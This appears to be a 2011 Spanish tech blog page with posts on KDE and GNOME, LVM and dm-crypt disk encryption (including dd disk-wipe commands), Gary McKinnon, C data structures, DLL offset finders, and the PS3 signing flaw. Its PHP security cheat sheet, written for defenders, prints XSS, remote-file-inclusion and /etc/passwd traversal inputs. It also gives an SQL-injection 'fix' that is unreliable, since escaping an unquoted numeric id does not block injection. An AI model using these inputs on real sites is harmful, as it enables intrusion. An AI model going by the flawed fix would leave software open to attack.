jueves, 22 de septiembre de 2011

Sobre Entornos de Escritorio(II): KDE

Os dejo con la segunda entrega sobre, entornos de escritorio esta vez toca KDE, venga pongamonos en plan historiador-científico, y al meollo.

El proyecto KDE, es fundado  en 1996 por Matthias Ettrich (conocido también por LyX, el procesador de documentos). KDE está escrito bajo Qt apoyándose en este framework de desarrollo, cuya licencia entra en conflicto con GNU, ya que no se trata, refiriendose a sus inicios ya que ahora incluye una licencial GPL, de un uso bastante variopinto, de  ninguna apoyada por el proyecto. La filosofía de KDE, es totalmente contraria a la de GNOME, KDE se centra en la funcionalidad y deja de un lado la belleza y la sencillez. Con casi quince años de vida KDE se ha convertido en un consolidado entorno de escritorio, actualmente se encuentra en la versión 4. Utiliza un escritorio llamado Plasma, (versión de escritorio del entorno gráfico de KDE). A mi parecer Plasma es un desastre, similar al cometido por GNOME, con GNOME 3, pero a menor escala, ya que la versión 3ª de KDE respeta mucho más su filosofía que esta, no tan nueva ya, versión, dejándose  más de lado la funcionalidad al fin de la mera estética. A continuación se presenta una imágen de una distribución de KDE 4.

La liciencia de Qt, actual es una cosa de la que cabe mención, Qt actualmente usa GPL, para su versión gratuita, lo cual te obliga a que tu código, refiriendome al escrito usando el framework Qt, sea software libre según lo define GNU, pero lo que es mas gracioso es que Qt cuenta con una licencia dual, GPL y su propia licencia, que puedes adquirir por un módico precio y asi construir software privativo apoyandose en este framework. Cabe decir que este método comercial, por parte de Qt esta de los mas bien pensado, aunque un tanto desprovisto de ética.

5412X





La paranoia a full: Encriptando discos (LVM + dm-crypt)


Hoy empezamos con una nueva serie de artículos, que os intruducirán en el mundo de la encriptación, empezamos encriptando discos, lo que se conoce como "Full Disk Encryption (FDE)", lo que vamos a explicar, es como encriptar una partición entera, la de tu sistema de archivos, de forma de que nadie pueda acceder a ella sin poseer la clave ("passphrase"), tanto desde el interior del mismo sistema de archivos, como del exterior. Este proceso es conveniente (es mucho mas sencillo) realizarlo durante la instalación de la distribución que escojamos.

Pongamonos en situación, nos gusta la seguridad informática, proteger nuestra información y demás, por lo tanto decidimos encriptar nuestros discos, y la manera mas sencilla, según vemos, es encriptar las particiones durante el proceso de instalación de nuestra distribución, por ahora todo claro. Pues continuemos explicando lo que vamos a hacer con nuestras particiones para encriptarlas , supongamos que tenemos 2 particiones en uso, ocupadas por un sistema operativo linux o diferente, entonces tenemos un problema ya que si decidimos encriptar partición por partición, necesitariamos una para "/boot", sin encriptar, ya que no sepuede arrancar en particiones encriptadas, necesitariamos otra para la swap, y otra para el sistema raíz, e aquí el problema, necesitariamos partir en 5 el disco, y Linux solo permite 4 particiones. ¿Entonces como hacemos? Usaremos LVM de forma que solo necesitemos 2 particiones mas, a mayores, expliquemoslo con más detalle:


LVM

LVM es la abreviatura de Logical Volume Manager, Administrador de Volumenes Lógicos, LVM nos permite crear volumenes lógicos, que realizarian las funciones de una partición, con la ventaja de que podemos redimensionarlos a nuestro antojo, sin destruir datos y son de muy fácil administración. Imaginemonos que tenemos un armario grande, pero no tiene cajones ni ningún compartimento, que nos permita almazenar de forma ordenada cosas, ese armario funcionaría como una partición. Ahora pensemos en un gran armario, también, esta sería la parte física, que vamos a llamar volumen físico, el armario tiene multitud de cajones que podemos redimensionar para guardar diferentes cosas, joder con lo que inventan, dirás, bueno cada uno de esos cajones actuaría como un volumen lógico y el conjunto, grupo, de todos lo cajones pasaría a llamarse grupo de volumenes, así es mas o menos como actua LVM. Una partición o conjunto de particiones, actuan como volumen físico, en ellas podemos constituir un grupo de volumenes, y en el crear volumenes lógicos, por ejemplo un volumen para almazenar la swap y otro para el sistema raíz.

Hagamos un repaso, por ahora tenemos una forma de poner todo el sistema de archivos en las dos particiones que poseemos, pondremos "/boot", en una partición separada como recordamos, para que el sistema pueda arrancar y en la partición restante crearemos un LVM, para poner nuestra swap y nuestro sistema de archivos. Pues solo nos falta la manera de encriptar nuestro LVM, y lo haremos con dm-crypt.


Dm-crypt

La definición de dm-crypt, no es una cosa demasiado sencilla de entender, si estas, además iniciandote en la criptografía, así que poco a poco intentaré explicarla, empecemos con la deficinición compleja: "dm-crypt es un device-mapper, que permite la encriptación transparente de dispositivos en bloque". Vamos punto por punto, "..es un device-mapper...", nos referimos que pertence al conjunto de device-mappers (permiten mappear un block device (dispositivos en bloque), disco con una etructura de un tamaño determinado en bloques, sectores y clusters, en otro, no nos centraremos en los devices mapper, así que esto vale para hacernos una idea), si sabeis lo que es un snapshot sabeis lo que es un device-mapper. Bueno sigamos "...encriptación transparente de dispositivos.." esto se conoce también como TDE (Transparent Data Encryption) se trata de un tipo de encriptación OTF (On-the-fly, tiene un significado similar "Al vuelo" en español), OTF es encriptación en tiempo real, es decir cuando pasemos nuestra clave, el disco, y todos sus archivos, serán totalmente accesibles y el disco será montado como un disco normal. De esto todo lo que nos tiene que quedar claro es que dm-crypt, nos va a permitir a encriptar nuestro disco, y una vez que le entregemos nuetra clave, sera desencriptado y podremos acceder a el con toda normalidad.  Bueno dejémonos de tanta chapa y vamos a hacer esto real.


La práctica

A continuación van tres métodos, para encriptar nuestros discos con lo aprendido arriba, van de más sencillo a más complejo.




Usando una GUI gráfica, de instalación. (Fedora, Suse...)


Las más modernas distribuciones, que cuentan con una GUI gráfica,(nos referimos a una GUI gráfica, a una GUI que toma uso de imágenes), nos permiten realizar estre proceso de una manera realmente sencilla, bueno pos venga arrancamos el instalador y seguimos lo pasos, hasta que nos pregunte sobre los discos y el particionado,
os apareceran opciones como "Use all espace","Replace current Linux Systems", "Use free space", etc. Pues nosotros selecionaremos la opción manual os puede aparecer como , "Crear esquema de particionado", "Create custom layout" o algo así, lo seleccionamos, debes tener espacio suficiente para "/boot"(200MB), swap(~ram*1.5) y para el sistema. Seguiremos los siguientes diez pasos:
  1. Click en el espacio libre, presionar "crear".
  2. Seleccionar "Partición Standart" y botón "crear".
  3. Seleccionar montaje en "/boot", sistema de archivos ext4 (el que querais), marcamos la opción de "fixed size", y ponemos encima 200MB, forzamos para que sea una partición primaria. (marcar) y le damos a crear.
  4. Click en el espacio libre, selecionar LVM physical volume" y crear.
  5. Marcamos para que ocupe todo es espacio, y marcamos la casilla Encrypt, y creamos.
  6. Hacemos click en el LVM, creamos un LVM volume group.
  7. Penemos un nombre al grupo LVM, y abajo presionamos en add.
  8. Seleccionamos como filesystem swap, ponemos swap de nombre y le damos el tamaño de nuestra ram en MB multiplicado por 1.5, no marcamos la candilla de encriptar, le damos a crear.
  9. Hacemos lo mismo para la partción root, ponemos filesystem ext4, (reiser sería mas sencillo, pero parece que la gente prefiere ext4), de nombre root, de tamaño todo el sobrante, y creamos.
  10. Le damos a Ok, y Next, si nos dice de formatear lo hacemos, y acabamos la intalación
Usando una GUI, gráfica en modo de texto (Arch Linux)


Así como antes, explicamos de una manera más básica como encriptar discos, vamos a hacerlo ahora de una manera un poco más compleja, voy a poner de ejemplo a Arch Linux es una distribución fácil de configurar y altamente configurable, aunque puede resultar un poco confusa para gente iniciandose en el mundo de linux, por este motivo voy a pensar en el usuario de arch linux como un usuario con alguna experiencia en el ámbito de las distribuciones, y esta sección no será tan simple como la anterior. Instalar arch linux en LVM, como lo hecho arriba es sencillo, cuando llegemos al monento de particionar los discos, seleccionamos, partición manual, y simplemente copiaremos el siguiente esquema de partición, para nuestras particiones "/boot" y el LVM.

/dev/sda1   raw->ext4;yes;/boot;no_opts;no_label;no_params
/dev/sda2   raw->dm_crypt;yes;no_mountpoint;no_opts;sda2crypt;-c_aes-xts-plain_-y_-s_512
/dev/mapper/sda2crypt   dm_crypt->lvm-vg;yes;no_mountpoint;no_opts;no_label;no_params
/dev/mapper/sda2crypt+  lvm-pv->lvm-vg;yes;no_mountpoint;no_opts;cryptpool;no_params
/dev/mapper/cryptpool   lvm-vg(cryptpool)->lvm-lv;yes;no_mountpoint;no_opts;cryptroot;10000M|lvm-lv;yes;no_mountpoint;no_opts;cryptswap;2000M
/dev/mapper/cryptpool-cryptroot   lvm-lv(cryptroot)->ext4;yes;/;no_opts;cryptroot;no_params
/dev/mapper/cryptpoll-cryptswap   lvm-lv(cryptswap)->swap;swap  
 
Este es un esquema de la tabla de particiones, en los nuevos instaladores todo se configura automaticamente sino debeis poner.
  • USELVM="yes" en /etc/rc.conf
  • Añadir a /etc/mkinitcpio.conf en la sección HOOKS, encrypt y lvm2, en ese orden antes de filesystems.
 Encriptando en sistemas sin instalador. 

Este es el último método y sirve para aquellas distros sin instalador, o que no os gusta usarlos, el método esta descrito por encima ya que cada distribución usa sus propias opciones de configuración. Aún así la cosa no es tan compleja como suena, para un administrador de sistemas resulta más bien sencilla. Cabe obviar ya que deben existir dos particiones (las vamos a nombrar sda1 y 2 para el ejemplo), podeis crearlas con fdisk o lo que querais. Lo que debemos hacer es lo siguiente:

  • El borrado seguro de datos:
     
    dd if=/dev/urandom of=/dev/sda1
    dd if=/dev/urandom of=/dev/sda2
  1. Creación del lvm volumen físico, grupo de volumenes y volumenes:
    lvm pvcreate /dev/sda2
    lvm vgcreate lvm /dev/sda2
    lvm lvcreate -L swapsizeM -n swap lvm
    lvm lvcreate -l 100%FREE -n root lvm


  2. Encriptando los datos:
    cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/lvm/root
    cryptsetup -d /dev/random create swap /dev/lvm/swap
    cryptsetup luksOpen /dev/lvm/root root
  3. Creando los sistemas de archivos:
    mkswap /dev/mapper/swap
    mkreiserfs /dev/mapper/root
    mkreiserfs /dev/sda1
    
Ahora solo quedaría reconstruír la imagen del kernel, para que arranque con lo necesario (buscad como hacerlo para cada vuestra distribución) y configurar fstab, tal que así:
/dev/mapper/root        /       reiserfs        defaults        0       1
/dev/sda1               /boot   reiserfs        defaults        0       2
/dev/mapper/tmp         /tmp    tmpfs           defaults        0       0
/dev/mapper/swap        none    swap            sw              0       0
Bueno señoras y señoras, esto ha sido todo sobre LVM, pretendía hacer un artículo más o menos para todos los públicos, espero que pueda servir se ayuda. 5412X

miércoles, 21 de septiembre de 2011

Nuestro primer open publisher, JKS,

Empezemos con una cita: "Hijos de rock&roll,!Bienvenidooos!".Señores y señoras, damas y caballeros, geeks hombres y mujeres, os presento a nuestro nuevo autor JKS, otro colega para la familia, JKS es un conocido y hermano en batallas, de mi compañero xassiz . Se trata de un pentester a nivel web, analista en seguridad de aplicaciones web, si preferís llamarlo, (mucho mas fino y sofisticado, por cierto). Que nos traera la cremita, crema en esta sección, unas palabrejas JKS, o ke? hahah.

Por cierto nustro primer publicador libre.         

5412X

domingo, 18 de septiembre de 2011

Sobre Entornos de Escritorio(I): GNOME

Buenos días, hoy empezamos con esta nueva sección, "Sobre Entornos de Escritorio", en la que explicaremos, un poco, como es el día de hoy en el mundo de los entornos de escritorio, para así poder haceros una idea, de que usar y de que no. Empezamos la primera parte con GNOME, quizás sea la mas larga ya que hay mucho que decir, bueno vamos al meollo.

GNOME (GNU Network Object Model Environment), es uno de los entornos de escritorio más popular actualmente. El proyecto empezó en 1997 por dos compañeros de universidad, la Universidad Nacional Autónoma de México, Miguel de Icaza (Fundador del proyecto Mono, promociona tecnologías de Microsoft, acto por el que ha recibido numerosas acusaciones de la comunidad del software libre, el mismo Richard Stallman lo acusa de traidor) y Federico Mena (Proporcionó soporte a GIMP por un tiempo). GNOME surge ante la necesidad de crear un GUI toolkit libre, conjunto de herramientas o framework para la escritura de interfaces gráficas de usuario (GUI), ya que Qt, librerías que sustentan KDE, no están licenciadas bajo la GPL, así se desarrollan las librerías GTK+ sobre las cuales se sustenta el entorno de escritorio GNOME, bajo la licencia LGPL. El punto o factor en el que se centra GNOME, más concretamente GNOME 2.x, es la usabilidad, se limita la funcionalidad con el fin de crear un sistema más útil, esto no parece gustarle a Linus, que expone su idea de la filosofía de GNOME en mail.gnome.org indicandola como lo siguiente: “Los usuarios son idiotas y estan confundidos por la funcionalidad” de lo que comenta: “esta filosofía de Gnome es una enfermedad” . GNOME 3.x ha sido lanzado oficialmente, como un proyecto GNOME emprendido desde cero, apuesta por un sistema de escritorio mas moderno y eficaz. A esta nueva versión de GNOME es calificada por Linus como un “Desastre profano”, opinión con la que no puedo estar más de acuerdo, ya que es absurdo que un proyecto que apostaba por el software libre, cree un entorno de escritorio que requiera aceleración 3D por hardware, sabiendo que esto es imposible de conseguir usando sofware libre.

Ya llega por hoy, acabamos con unos puntos que debeis tener claros sobre GNOME:
  • Todo el proyecto se proveé de una falta de ética, impresionate.
  • Sus ideales iniciales, no son los mismos que los actuales de sus creadores (aunque esto suene extraño).
  • GNOME, se coloca a la cabeza en "Iniciativas absurdas para el progreso y desarrollo".
5412X

jueves, 15 de septiembre de 2011

Gary McKinnon (Solo) , militar hacker

Gary McKinnon, bajo el nick de Solo, es un hombre mundialmente conocido por actos como la penetración en servidores de la NASA, ( en busca de marcianitos) y computadores del pentágono, que lo convirtieron en uno de los más grandes hackers de la historia, y su asalto como el mas colosal de todos los tiempos. Gary McKinnon padece el síndrome de Asperger, que de cierta manera le resulta propicioso para la computación, de esto surgen artículos en la línea de "Asperger: The Hackers secret" y títulos similares.

Tras estra breve introducción os dejo con un entrevista de The Guardian , (traducida al español) y con otro encuentro, esta vez en video con la periodista Kerry Cassidy.

[The Guardian]

Yo era un hombre obsesionado. Gasté dos mil quinientos en llamadas tratando de entrar en los sistemas militares de los E.U., ocho horas por día, todos los días, en el curso de un año. Al principio no lo sentía como adicción, pero más tarde incluso no me incomodaba el no bañarme o vestirme.

A veces había otros 70 hackers alrededor del mundo mirando la misma pantalla que yo. Acostumbraba checarlos y veía direcciones de IP de Turquía, China, Holanda, de todas partes.

Cambia tu contraseña cada mes. Hazla complicada pero fácil de recordar. Cuando exploré miles de máquinas en una red militar particular, había siempre algunas cientos con contraseñas en blanco, y una vez que estas en una, utilizas “confianza” para hablar con otra.

Hacia el final me hice descuidado. Tenía un six-pack y algunos spliffs, y estaba en la frontera de la megalomanía.

Los E.U. originalmente me ofrecieron tres a cuatro años de sentencia si 
volaba allí por mi propia voluntad, pero rechazaron ponerlo por escrito, así que cuando la nueva ley de extradición fue concluida aquí, dieron el golpe. 

Mis abogados discutieron que debía ser juzgado bajo las leyes británicas.
Me hicieron siete cargos, cada uno con 10 años de prisión. La acusación más seria era “colapsar toda la red militar de Washington”.
Cuando recibí la amenaza de extradición fue como ser comido desde el interior hacia fuera.

Oír que las autoridades de New Jersey deseaban verme “frito” era como tener un martillo de 17 toneladas esperando para golpearme en la cabeza.

Temo ir a la prisión por 60 años. Me aterroriza ser violado, y sentarme allí con pedófilos y asesinos.

Pienso que confiaré en mi amistad para conseguir relacionarme con la gente en la prisión. Quisiera ayudar a presos analfabetos a escribir cartas a sus familias.

Creo en los ovnis. Eran mi razón para hackear. Cuando niño mi padrastro me contaba historias de cómo él vio uno en Bonnybridge, cerca de Falkirk, la capital mundial de los ovnis.

Descubrí nombres y rangos de oficiales no-terrestres. Eran todos como muy parecidos a los humanos – aunque no puedo recordar los detalles ya que mi disco duro fue agarrado por la policía.

Ahora soy un techno-luddite. No puedo tener acceso a mi propio email. Otra gente lo hace por mí.

Asústate mucho de una madre que protege a su niño. Después de mi detención mi mamá se convirtió en Superwoman, cabildeando con MPs, escribiendo cartas. Ella esta disgustada por el hecho de que puedes ser entregado en una bandeja a un gobierno extranjero.

En este momento soy esquizofrénico emocionalmente. El pequeño muchacho dentro de mí es una mierda asustada, pero el lado adulto desea tomarlo y luchar.

Mi anti autoritarismo comenzó a crecer cuando tenía 16 años y trabajaba en una impresora, salí después de que el jefe viniera un día y dijera, “Gary debes estar de pie siempre en el trabajo, nunca descansar, finge siempre que alguien te mira”. Eso despertó algo en mí.

Mi situación es una tensión constante para mí y mi novia Lucy, ambos somos bastante intensos. Sin esto podría amarla correctamente. Quisiera casarme y tener hijos.

¿Mi consejo a mi mismo más joven? No hackear.

Me desesperé cuando perdí mi apelación en el tribunal superior, pero mi última esperanza es una posible audiencia en la Cámara de los lores. Son un manojo muy ecléctico. Pero si eligen no oír el caso, entonces me extraditarán en el plazo de cuatro semanas.

Quisiera ser recordado como el individuo que ganó su proceso legal. 

[The Guardian]

Aquí os dejo el Playlist, de la entrevista en video, mucho mas cómodo que incluir los seis videos en el post.

5412X




 

Bienvenidos al OpenPublishing

El proceso de la publicación abierta, (open publishing) se basa en la idea de la transparencia, podría definirse como la libertad en publicación, hace referencia a que cualquier lector , siempre que tenga algo que decir, puede convertirse en escritor para expresar sus ideas. En Byte-inside, creemos que la libertad (refiriendose a temas de computación) va mas alla del software, y esta es una forma mas de reflejarla. Así de esta manera, adoptamos en Byte-inside por este sistema de publicación, con el cual no pretenedemos incentivar a nuestros lectores a la publicación, simplemente intentamos hacer posible para que cualquier persona que deseé plantear o exponer un tema pueda hacerlo libremente. Se seguiran las siguientes pautas, con el fin de realizar, de manera productiva, el proceso:

  • Cualquier persona que se vea animada a participar puede hacerlo, sin ningún tipo de distinción.
  • El artículo enviado será sometido a un filtro, (cabe aclarar que de ninguna manera la información del texto será alterada), con el fin de evaluar si se trata de un escrito apto para la publicación. Cualquier decisión será comunicada previamente al autor.
  • Se dará principal importancia al contenido del texto, dejando a un lado, temas como estructura, ortografía y nivel de redacción del mismo.
  • El idioma, aunque no debería ser un problema, actualmente lo es, ya que por ahora, esperemos que en un futuro dispongamos de más, solo podemos proveer soporte para inglés,castellano y gallego. Si alguien quiere ayudar con el filtrado de artículos, será bienvenido.
  • Aunque realmente no es necesario aclararlo, todo texto enviado, debe tener una temática similar a la del blog. (Si escribes poemas sobre la belleza de la naturaleza, lo siento, este no es tu sitio)
Para poder publicar tu articulo, debes contactar con nosotros, enviándonos un email, con asunto "4R71: $nombredetuartículo", a cualquiera de las siguientes direcciones:


5412X

viernes, 25 de febrero de 2011

ka0labs abre sus puertas de nuevo!

Bueno, pues deciros que ka0labs,antiguo ka0 team vuelve a abrir las puertas, contando con:

  • Blog.
  • Foro (Beta, programado desde cero totalmente por ellos).
  • Codeshare (sistema programado desde cero por ca0s y yo para postear códigos, con opción de hacer Grupos de desarrollo, mensajes privados, entre otras cosas).
Os esperamos por allí:


Saludos!

martes, 22 de febrero de 2011

Repaso a las estructuras de datos en C

Bien, las estructuras de datos son una aplicación muy interesante de la memoria dinámica.

Teniendo ya una base de estructuras, punteros y alguna idea sobre listas enlazadas explico un poco como van algunos tipos:


Listas enlazadas simples
Son listas en las que solo podemos avanzar hacia delante, puesto que manejamos un puntero "siguiente" para ir accediendo a cada elemento a partir del inicial. Por eso, tenemos que conservar el valor del puntero del primer elemento.


Listas doblemente enlazadas
Son listas iguales que las anteriores, pero además tenemos un puntero "anterior" apuntando al elemento anterior (lógicamente?). Gracias a esto podemos recorrerlas en los dos sentidos (del primero al último y del último al primero), pero como en las simples debemos conservar siempre el valor del puntero del primer elemento.


Listas circulares
Estas listas por así decirlo tienen "unidos" el primer y el último elemento, esto es, cuando acaba, el elemento siguiente al último no es NULL, es el primero otra vez.











Pilas
Estas estructuras son como la simulación de la stack (son estructuras LIFO, Last In First Out). Sobre ellas podemos hacer dos operaciones: push y pop. Con push añadimos un elemento al final de la pila, y con pop lo leemos al mismo tiempo que lo eliminamos.









Colas
Las colas son estructuras FIFO (First In First Out). Los elementos se añaden por un lado de la cola y se eliminan por el otro.















Y estas son las estructuras dinámicas más básicas en C.


Espero que sea útil para los iniciados!

bytez

lunes, 21 de febrero de 2011

Offset finder - Python version

Bah, para no estrañar a nadie son 4 lineas de código en Python las necesarías para lograr hacer lo mismo que el programa del compañero xassiz.

Como se puede esperar no tiene ningún tipo de manejo de errores ni nada, lo que hace el código es tirar de dos funciones de la API de Windows (conocida por e$to$ como SDK), que logran returnar el offset de una función dentro de una libreria.

El programa hace lo siguiente:
Coje un manejador para la libreria:
GetModuleHandleA(libreria)

Y la direción del proceso:

GetProcAddress(manejador, funcion)

Tenemos lo siguiente:
import sys
import ctypes
libreria = ctypes.windll.kernel32.GetModuleHandleA(sys.argv[1])
print sys.argv[2]+" en "+sys.argv[1]+" : "+str(ctypes.windll.kernel32.GetProcAddress(libreria, sys.argv[2]))

Esto ha sido todo, saludos

martes, 8 de febrero de 2011

3rd Security Blogger Summit - Ciberactivismo

Bueno, hablan del ciberactivismo y como afecta a la sociedad. Tenemos a Chema y a Rubén de ponentes!








Saludos!

sábado, 5 de febrero de 2011

[MASM] Busca offsets

Bueno, hace unos días empecé a aprender ASM y aquí está mi primera aplicacion (sintaxis MASM).

Lo que hace es buscar el offset de una función específica en una DLL. Solo hay que modificar "libreria" y "funcion" en .data.

;Busca offsets - by xassiz
.386
.model flat, stdcall
option casemap :none
 
include \masm32\include\masm32rt.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\masm32.lib
 
Main PROTO
 
.data
    libreria db "msvcrt.dll",0
    funcion db "printf",0
    error db "No se encontro el proceso.",0
 
.code
codigo:
    invoke Main
    invoke ExitProcess, 0
 
Main PROC
    LOCAL resultado:DWORD
 
    invoke LoadLibrary, addr libreria
    invoke GetProcAddress, eax, addr funcion
    mov resultado, eax
    cmp resultado, NULL
    je Error
    invoke StdOut, uhex$(resultado)
    ret
Error:
    invoke StdOut, addr error
    ret
Main ENDP
 
end codigo




Ahora versión para linea de comandos:
;Busca offsets cli - by xassiz
.386
.model flat, stdcall
option casemap :none

include \masm32\include\masm32rt.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\masm32.lib

.data
    error db "No se encontro la funcion.",0
.data?
    libreriaTMP dd ?
    libreria db 256 dup(?)
    funcionTMP dd ?
    funcion db 256 dup(?)
    argc dd ?


.code
codigo:
    invoke GetCommandLineW
    invoke CommandLineToArgvW, eax, addr argc
    or eax, eax
    cmp dword ptr argc, 3
    jb @f
    mov ebx, dword ptr[eax+4]
    mov dword ptr libreriaTMP, ebx
    mov ebx, dword ptr[eax+8]
    mov dword ptr funcionTMP, ebx
    invoke WideCharToMultiByte,CP_ACP,0,dword ptr libreriaTMP,-1,addr libreria,256d,0,0
    invoke WideCharToMultiByte,CP_ACP,0,dword ptr funcionTMP,-1,addr funcion,256d,0,0
    invoke LoadLibrary, addr libreria
    invoke GetProcAddress, eax, addr funcion
    or eax, eax
    je Error
    invoke StdOut, uhex$(eax)
    invoke ExitProcess, 0
Error:
    invoke StdOut, addr error
    @@: invoke ExitProcess, 0
end codigo


C:\Users\Pablo\Desktop>bOffsets msvcrt.dll system
7545B16F
C:\Users\Pablo\Desktop>bOffsets msvcrt.dll printf
7541C5B9
C:\Users\Pablo\Desktop>

Espero que os sirva xD

bytes!

viernes, 4 de febrero de 2011

DSA gag wikipedia

Hoy os presento una nueva forma de generación de llaves de DSA, este nuevo método inventado por la wikipedia y que claramente podeis ver aquí es el siguiente:



¿Con esto que demostramos? Los fantásticos, rigurosos y exhaustivos filtros a los cuales se somete la información en la wikipedia.

Saludos

jueves, 3 de febrero de 2011

De Sony a (in)Seguridad

Pues resulta que hoy, estaba estudiando ECDSA (Elliptic Curve Digital Signature Algorithm) que vendría a ser la versión usando curvas elípticas de DSA. Para quién no tenga ni puta idea de lo que estoy hablando ECDSA es un algoritmo que nos permite crear firmas digitales, esto es, podemos firmar archivos y mediante estas firmas comprobar su veracidad. No es plan tampoco de ponerme a hablar de ECDSA, así que vamos al meollo.

Resulta que tenemos como clave privada k, y un numero secreto m. Este número m es el usado en la generación de la firma que vendrían a ser los números r y s. ¿Cuál es el problema en el sistema de firmado de PS3?. Que m que debería ser un número generado aleatoriamente, lo que no se puede pedir es que Sony use un algoritmo criptograficamente seguro para la generación de números aleatorios, pero ya no es que no este presente un algoritmo criptograficamente seguro para la generación de números aleatorios es que no existe generación ninguna de números aleatorios. A continuación se presenta un ejemplo del código de generación de m:

#Aleatory number generator
def generatem():
    return 4

¿Que nos permite hacer el conocimiento de m? Pues sabiendo m podemos obtener k facilmente, y una vez obtenido k, que es la clave privada, sí como muchos de vosotros pensabais, podemos firmar. ¿Que significa esto?. Que ademas de poder darle por culo a Sony, podemos correr aplicaciones caseras (homebrew) y otro software no original si necisidad de recurir al jailbreak, o cosas por el estilo, ya que podremos firmar nuestras aplicaciones y estas pasaran de mil maravillas la verificación de la PS3.

¿Cúal es la moraleja? Que por qué seas una multinacional no debes descuidar tu seguridad, y mucho menos cometer un error de este calibre, Sony dio por supuesto que nadie lograría quebrantar su sistema, y cosas que pasan, casualidades de la vida, la seguiridad de su Sistema de Entretenimiento de Sobremesa hoy en dia es más que inexistente.

Por cierto quien guste de la criptografía le recomiendo la lectura de el boletín Enigma, que por cierto este mes tiene un artículo sobre el tema.

Aquí os dejo una conferencia que viene a hablar de esto mismo:







lunes, 31 de enero de 2011

Welcome Mungu!

Bueno, demos la bienvenida a mi amigo Mungu. Ahora el blog lo llevaré con él.

Con este cambio esperamos mejorar la temática pero sobre todo la actividad del blog!

bytes!

miércoles, 12 de enero de 2011

Un día de aburrimiento

#include<aburrimiento.h>
 
int main()
{
    for(;;){
        long aniza;
        char cutero;
        string ente;
        tomarCafe();
        int erracial;
        int ruso;
        short seneger;
        tomarCafe();
        byte erfly;
        void fumao;
        const ernado;
    }
}
Espero que en breves se me ocurra un buen artículo!

Saludos :P

sábado, 8 de enero de 2011

[Batch] Input Hidden Password



Bueno, os dejo este increíble código que una vez más nos demuestra la capacidad de Batch, y que la imaginación no tiene límites.

Con el podreis implementar la entrada del teclado de forma oculta usando solamente batch.

El autor del mismo es Germaniac.
::Input Hidden Password [PoC]
::By Germaniac
@echo off
setlocal enableextensions enabledelayedexpansion
for /f %%i in ('"echo.exit|"%comspec%" /d /k prompt $h"') do set "bs=%%i"
:init
cls
set "(="
set ")=%tmp%\%random%.tmp"
if exist "%)%" del "%)%" 2>nul
set /p "=Password:"<nul
for /l %%i in (1,1,9) do set /p "=%bs%"<nul
start /b "" "%comspec%" /d /v:on /c "set/p(=&(if defined ( (echo(^!(^!) else echo()>"%)%""
:loop
set /p "=%bs%P%bs%"<nul
if not exist "%)%" goto :loop
set "pwl="
set /p "pwl="<"%)%"
del "%)%" 2>nul
echo.Your password: !pwl!
pause>nul
goto :init

Saludos!

Fuente: Code-Makers.net.


viernes, 7 de enero de 2011

[Python] Sacando el número más próximo a otro dentro de una lista



Bueno, pues estaba programando algo en Python y me quedó esta función.
#Funcion proximo() devuelve el numero mas proximo a otro de una lista
def proximo(final,numeros):
 def el_menor(numeros):
  menor = numeros[0]
  retorno = 0
  for x in range(len(numeros)):
   if numeros[x]<menor:
    menor = numeros[x]
    retorno = x
  return retorno
 
 diferencia = []
 for x in range(len(numeros)):
  diferencia.append(abs(final - numeros[x]))
 return numeros[el_menor(diferencia)]
 
Por ejemplo de la lista [30,15,20,43,56,10] queremos saber cual es elemento
más cercano al número "35".

Entonces:
numeros = [30,15,20,43,56,10]
 
print proximo(35, numeros)
 


Saludos!


martes, 4 de enero de 2011

Solución rápida a los bugs a nivel web más conocidos

Bueno, a modo de chuleta, os dejo mi primer artículo en este blog ^^


Veremos como evitar los bugs más conocidos en un entorno PHP.



XSS
Bien, XSS viene del inglés Cross-Site Scripting. Se cambió la primera letra de las siglas para poder diferenciarlas de Cascading Style Sheets (hojas de estilo).

Este bug consiste en incrustar código (HTML, JavaScript, VBScript, etc.) en una página web para que se ejecute, ya sea temporal (reflejado) o persistentemente (directo).

El ejemplo más simple de XSS temporal:
<?php

echo $_GET['codigo'];

?>

Si hacemos:
file.php?codigo=<script>alert('byte-inside');</script>
Nos saltará una bonita ventana de alerta.

La solución rápida:

<?php
 
echo htmlentities($_GET['codigo']);
 
?>

Utilizando la función htmlentities() nativa de PHP.


SQL injection
Este bug quizás sea uno de los más abundantes y fáciles de corregir (para su gravedad). No me voy parar a explicarlo, con SQL injection como su nombre indica, inyectamos código SQL ejecutándolo y afectando el comportamiento final.

Veremos como parchear una inyección de código SQL en bases de datos MySQL, que ya nos proporcionan funciones para esto.

Ejemplo vulnerable:

<?php
 
$id = $_GET['id'];
 
mysql_query("SELECT titulo, autor, contenido FROM noticias WHERE id = ".$id);
 
?>
 
Solución:

<?php
 
$id = mysql_real_escape_string($_GET['id']);
 
mysql_query("SELECT titulo, autor, contenido FROM noticias WHERE id = ".$id);
 
?>
Con la función mysql_real_escape_string() hacemos que lo ingresado por el usuario no se ejecute.


RFI/LFI
Estos bugs los podemos emparejar, Remote File Inclusion (RFI) y Local File Inclusion (LFI), ya que los dos tratan de inclusión de archivos.

En el caso de RFI, el error está al dejar que el usuario incluya en la página archivos externos los cuales pueden ser maliciosos (por ejemplo una webshell).

Claro ejemplo vulnerable a ambos (RFI y LFI):

<?php
 
include($_GET['archivo']);
 
?>
Haciendo algo así:
vulnerable.php?archivo=http://mihost/malicioso.txt

vulnerable.php?archivo=../../../etc/passwd
Una forma de evitarlos es hacer comprobaciones sobre la variable "archivo" en cuestión, pero si queremos dejar una lista larga, debemos buscar soluciones como esta:

<?php
 
$archivo = str_replace(array(':', '.', '/', '\\'), '', $_GET['archivo']);
 
include($archivo);
 
?>
 Reemplazando carácteres que podrían llegar a ser "maliciosos".


Saludos lectores!

lunes, 3 de enero de 2011

Apertura byte-inside

Hola lectores.

¿Qué mejor manera de empezar el año que abriendo un blog?

Bueno, esto sobre todo tratará temas de programación y seguridad informática.

Espero que os sintais a gusto por aquí.

Saludos!